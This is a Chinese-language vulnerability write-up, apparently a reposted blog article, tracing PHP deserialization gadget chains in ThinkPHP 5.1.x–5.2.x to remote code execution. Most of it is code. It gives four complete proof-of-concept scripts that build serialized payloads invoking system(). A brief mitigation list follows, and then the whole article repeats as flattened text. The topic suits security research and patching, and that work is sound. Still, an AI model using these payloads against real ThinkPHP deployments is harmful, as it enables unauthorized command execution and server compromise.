thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
字数 943 2025-08-26 22:11:28

ThinkPHP 5.1.x~5.2.x 反序列化链分析与利用

前言

本文详细分析ThinkPHP 5.1.x和5.2.x版本中的反序列化漏洞利用链,通过挖掘PHP魔术方法和普通方法中的敏感函数调用点,构建完整的POP(Property-Oriented Programming)链实现远程代码执行。

环境准备

  • ThinkPHP 5.1.38 / 5.2.x
  • PHP 7.2

反序列化漏洞基础

反序列化漏洞通常利用PHP中的魔术方法触发:

  • __construct(): 对象创建时调用
  • __destruct(): 对象销毁时调用
  • __wakeup(): 反序列化前调用
  • __toString(): 对象被当作字符串使用时调用
  • __call(): 调用不存在的方法时触发

ThinkPHP 5.1.x 反序列化链分析

利用链概览

\think\process\pipes\Windows.php -> __destruct()
\think\process\pipes\Windows.php -> removeFiles()
Windows.php: file_exists()
\think\model\concern\Conversion.php -> __toString()
\think\model\concern\Conversion.php -> toJson()
\think\model\concern\Conversion.php -> toArray()
\think\model\concern\Attribute.php -> getAttr()
\think\model\concern\Attribute.php -> getData()
\think\Request.php -> __call()
\think\Request.php -> isAjax()
\think\Request.php -> param()
\think\Request.php -> input()
\think\Request.php -> filterValue()

详细分析

  1. 入口点 - Windows类的__destruct()
namespace think\process\pipes;
class Windows {
    private $files = [];
    
    public function __construct() {
        $this->files = [new Pivot()];
    }
    
    public function __destruct() {
        $this->removeFiles();
    }
    
    private function removeFiles() {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
    }
}
  1. 触发__toString()

file_exists()会将对象作为字符串处理,触发Pivot对象的__toString()方法。

  1. Conversion类的__toString()
namespace think\model\concern;
trait Conversion {
    public function __toString() {
        return $this->toJson();
    }
    
    public function toJson() {
        return json_encode($this->toArray());
    }
    
    public function toArray() {
        // 关键点:处理append属性
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    $relation = $this->getAttr($key);
                    if ($relation) {
                        $relation->visible($name); // 触发__call()
                    }
                }
            }
        }
    }
}
  1. Attribute类的getAttr()
namespace think\model\concern;
trait Attribute {
    public function getAttr($name) {
        $value = $this->getData($name);
        return $this->getValue($name, $value);
    }
    
    public function getData($name) {
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name]; // 返回Request对象
        }
    }
}
  1. Request类的__call()
namespace think;
class Request {
    protected $hook = [];
    protected $filter = "system";
    protected $config = ['var_ajax' => '_ajax'];
    
    public function __call($method, $args) {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
    }
    
    public function isAjax($ajax = false) {
        return $this->param($this->config['var_ajax']);
    }
    
    public function param($name = '') {
        return $this->input($this->param, $name);
    }
    
    public function input($data = [], $name = '', $filter = '') {
        $filter = $this->getFilter($filter);
        $this->filterValue($data, $name, $filter);
    }
    
    private function filterValue(&$value, $key, $filters) {
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                $value = call_user_func($filter, $value); // RCE
            }
        }
    }
}

5.1.x POC

<?php
namespace think;
abstract class Model {
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin" => ["calc.exe", "calc"]];
        $this->data = ["lin" => new Request()];
    }
}

class Request {
    protected $hook = [];
    protected $filter = "system";
    protected $config = ['var_ajax' => '_ajax'];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax" => 'lin'];
        $this->hook = ["visible" => [$this, "isAjax"]];
    }
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
    private $files = [];
    public function __construct() {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

ThinkPHP 5.2.x 反序列化链分析

5.2.x版本移除了Request类的__call()方法,需要寻找替代方案。

方法一:利用Attribute类的getValue()

利用链

think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\model\concern\Attribute->getValue()

关键点

protected function getValue(string $name, $value, bool $relation = false) {
    $fieldName = $this->getRealFieldName($name);
    if (isset($this->withAttr[$fieldName])) {
        $closure = $this->withAttr[$fieldName];
        $value = $closure($value, $this->data); // 动态函数调用
    }
    return $value;
}

POC

<?php
namespace think\process\pipes {
    class Windows {
        private $files;
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion {}
    trait Attribute {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get() {
            $this->data = ["lin" => "ls"];
        }
    }
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        public function __construct() {
            $this->get();
        }
    }
}

namespace {
    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

方法二:利用SerializableClosure

使用Opis\Closure的SerializableClosure实现更灵活的命令执行。

POC

<?php
namespace think;
require __DIR__ . '/vendor/autoload.php';
use Opis\Closure\SerializableClosure;

abstract class Model {
    private $data = [];
    private $withAttr = [];
    function __construct(){
        $this->data = ["lin" => ''];
        $this->withAttr = ['lin' => new SerializableClosure(function(){
            system('ls');
        })];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];
    public function __construct() {
        $this->files = [new Pivot()];
    }
}

echo urlencode(serialize(new Windows()));
?>

方法三:利用Db类和文件包含

需要已知路径并能上传PHP文件。

利用链

think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\Db->__call()
think\Url->__construct()

POC

<?php
namespace think;
class App {
    protected $runtimePath;
    public function __construct(string $rootPath = ''){
        $this->runtimePath = "D:/phpstudy/PHPTutorial/WWW/thinkphp/tp5.2/";
        $this->route = new \think\route\RuleName();
    }
}

class Db {
    protected $connection;
    protected $config;
    function __construct(){
        $this->config = ['query' => '\think\Url'];
        $this->connection = new \think\App();
    }
}

abstract class Model {
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin" => []];
        $this->data = ["lin" => new \think\Db()];
    }
}

namespace think\route;
class RuleName {}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];
    public function __construct() {
        $this->files = [new Pivot()];
    }
}

echo urlencode(serialize(new Windows()));
?>

防御措施

  1. 避免反序列化用户可控的数据
  2. 及时更新ThinkPHP到最新版本
  3. 对魔术方法中的敏感操作进行严格检查
  4. 使用白名单限制可反序列化的类

总结

ThinkPHP反序列化漏洞的核心在于通过精心构造的POP链,利用框架中的魔术方法和敏感函数调用实现代码执行。理解这些利用链有助于开发者更好地防范此类漏洞,同时也为安全研究人员提供了漏洞挖掘的思路。

ThinkPHP 5.1.x~5.2.x 反序列化链分析与利用 前言 本文详细分析ThinkPHP 5.1.x和5.2.x版本中的反序列化漏洞利用链,通过挖掘PHP魔术方法和普通方法中的敏感函数调用点,构建完整的POP(Property-Oriented Programming)链实现远程代码执行。 环境准备 ThinkPHP 5.1.38 / 5.2.x PHP 7.2 反序列化漏洞基础 反序列化漏洞通常利用PHP中的魔术方法触发: __construct() : 对象创建时调用 __destruct() : 对象销毁时调用 __wakeup() : 反序列化前调用 __toString() : 对象被当作字符串使用时调用 __call() : 调用不存在的方法时触发 ThinkPHP 5.1.x 反序列化链分析 利用链概览 详细分析 入口点 - Windows类的__ destruct() 触发__ toString() file_exists() 会将对象作为字符串处理,触发Pivot对象的 __toString() 方法。 Conversion类的__ toString() Attribute类的getAttr() Request类的__ call() 5.1.x POC ThinkPHP 5.2.x 反序列化链分析 5.2.x版本移除了Request类的 __call() 方法,需要寻找替代方案。 方法一:利用Attribute类的getValue() 利用链 关键点 POC 方法二:利用SerializableClosure 使用Opis\Closure的SerializableClosure实现更灵活的命令执行。 POC 方法三:利用Db类和文件包含 需要已知路径并能上传PHP文件。 利用链 POC 防御措施 避免反序列化用户可控的数据 及时更新ThinkPHP到最新版本 对魔术方法中的敏感操作进行严格检查 使用白名单限制可反序列化的类 总结 ThinkPHP反序列化漏洞的核心在于通过精心构造的POP链,利用框架中的魔术方法和敏感函数调用实现代码执行。理解这些利用链有助于开发者更好地防范此类漏洞,同时也为安全研究人员提供了漏洞挖掘的思路。